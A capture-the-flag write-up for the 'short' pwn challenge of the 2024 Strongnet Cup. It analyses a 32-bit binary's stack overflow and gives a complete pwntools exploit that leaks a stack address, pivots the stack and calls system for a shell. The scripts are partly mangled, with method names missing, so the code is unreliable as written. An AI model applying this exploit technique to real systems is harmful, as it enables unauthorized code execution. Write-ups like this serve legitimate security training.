Location>code7788 >text

2024 Strongnet Cup pwn short wp

Popularity:121 ℃/2024-10-29 22:12:01

This is the short WP for the pwn portion of the 2024 Strongnet Cup

Analyze the basic safety measures of the following programs

*] '/home/ysly/solve/tmp/short'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

Nothing but NX.
The next step is to analyze the following vulnerabilities in ghidra, looking for input functions such as read, gets, etc.
Let's first look at the main entry logic, which determines the input point

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined4 main(void)

{
  int iVar1;
  undefined *puVar2;
  
  puVar2 = &stack0x00000004;
  setbuf(_stdout,(char *)0x0);
  setbuf(_stderr,(char *)0x0);
  iVar1 = login(puVar2);
  if (iVar1 == 0) {
    puts("Login failed. Incorrect username or password.");
  }
  else {
    vuln();
  }
  return 0;
}

There is a login here, and execution can only continue after success, so in order to have the possibility of utilizing it, go look at the login logic

undefined4 login(void)

{
  size_t sVar1;
  int iVar2;
  char local_8c [64];
  char local_4c [68];
  
  printf("Enter your username: ");
  fgets(local_4c,0x40,_stdin);
  sVar1 = strcspn(local_4c,"\n");
  local_4c[sVar1] = '\0';
  printf("Enter your password: ");
  fgets(local_8c,0x40,_stdin);
  sVar1 = strcspn(local_8c,"\n");
  local_8c[sVar1] = '\0';
  iVar2 = strcmp(local_4c,"admin");
  if ((iVar2 == 0) && (iVar2 = strcmp(local_8c,"admin123"), iVar2 == 0)) {
    return 1;
  }
  return 0;
}


Obviously enter the username admin, password admin123 to log in successfully!

Going to the vuln function to see


/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void vuln(void)

{
  undefined buf [76];
  
  puts("You are now in vuln! Please enter extra data:");
  printf("You will input this: %p\n",buf);
  puts("plz input your msg:\n");
  read(0,buf,88);
  return;
}

Can read 88 bytes, singular buff has 76 bytes, so there are 88-76 = 12 bytes overflow 12 = 4+4+4 can cover ebp, ret, extra 4 bytes respectively
But here's the static analysis, for reference only (and really only to cover the ret address)

View other functions
Found a gift function


undefined4 gift(char *param_1)

{
  system(param_1);
  return 0;
}

If you can control the parameters, you can get the shell

Dynamic analysis below
In the vuln function

printf("You will input this: %p\n",buf);

The ebp address is leaked. After all, function variables are addressed by ebp-x, so the address of buf must be buf - x, and x is a fixed finger, so the address of ebp can be leaked.

from pwn import *

context.log_level='debug'
= 'foot'

p = process(". /short")
# Login
(b "username: ",str("admin"))
(b "password: ",str("admin123"))
# Don't have the first line
()

# Some processing to get the buff address
raw = ()
raw = raw[-10:]
raw = b "0"+raw
raw = int(raw[0:10],16)

# Statically analyze the buff address as having a 0x50 offset.
ebp = raw-0x50

print("leak ebp",hex(ebp))

Here it is found that 0x58 data can be entered, starting from ebp-0x50

  0x8048660 <vuln+79>    push   0x58
 ► 0x8048662 <vuln+81>    lea    eax, [ebp - 0x50]       EAX => 0xffffc878 —▸ 0xf7fc1440 ◂— 0xf7fc1440
   0x8048665 <vuln+84>    push   eax
   0x8048666 <vuln+85>    push   0
   0x8048668 <vuln+87>    call   read@plt                    <read@plt>

So we can control leven to be the ebp address and ret to be the rip address.

Here's where the idea of using stack migration comes to mind
Because of the previous gift function, look at the assembly section

   0x80485e6 <gift>:	push   ebp
   0x80485e7 <gift+1>:	mov    ebp,esp
   0x80485e9 <gift+3>:	push   ebx
   0x80485ea <gift+4>:	sub    esp,0x4
   0x80485ed <gift+7>:	call   0x80487e1 <__x86.get_pc_thunk.ax>
   0x80485f2 <gift+12>:	add    eax,0x1a0e
   0x80485f7 <gift+17>:	sub    esp,0xc
   0x80485fa <gift+20>:	push   DWORD PTR [ebp+0x8]
   0x80485fd <gift+23>:	mov    ebx,eax
   0x80485ff <gift+25>:	call   0x80484a0 <system@plt>
   0x8048604 <gift+30>:	add    esp,0x10
   0x8048607 <gift+33>:	mov    eax,0x0
   0x804860c <gift+38>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x804860f <gift+41>:	leave
   0x8048610 <gift+42>:	ret

Before calling system, ebp + 0x8 is used as a parameter.
After the execution of leven and ret, ebp and eip can be controlled
Now we can control eip and ebp.
So we can fake an ebp so that epb+8 points to /bin/sh
and let eip execute the call, then you can get the shell.
The attack chain is now as follows
1.hijack ebp,eip
2. Find /bin/sh
3. Execute call system

Since we knew the address of the buff through a leak earlier, we could write /bin/sh to the buff, and then everything went smoothly

Here are all the wp

from pwn import *

context.log_level='debug'
='foot'

p = process("./short")

(b"username: ",str("admin"))
(b"password: ",str("admin123"))
# free junk
()

raw = ()
raw = raw[-10:]
raw = b"0"+raw
raw = int(raw[0:10],16)


ebp = raw-0x50

print("leak ebp",hex(ebp))

sh_addr =0x0804a038

fake_ebp = raw -8


payload = p32(sh_addr)+b'A'*(0x50-4)+p32(fake_ebp)+p32(0x080485fa)

#(p)
#pause()

(payload)
()

The /bin/sh character exists in the program, so why don't I use it?
Because I've used it and can't get through, not sure why at the moment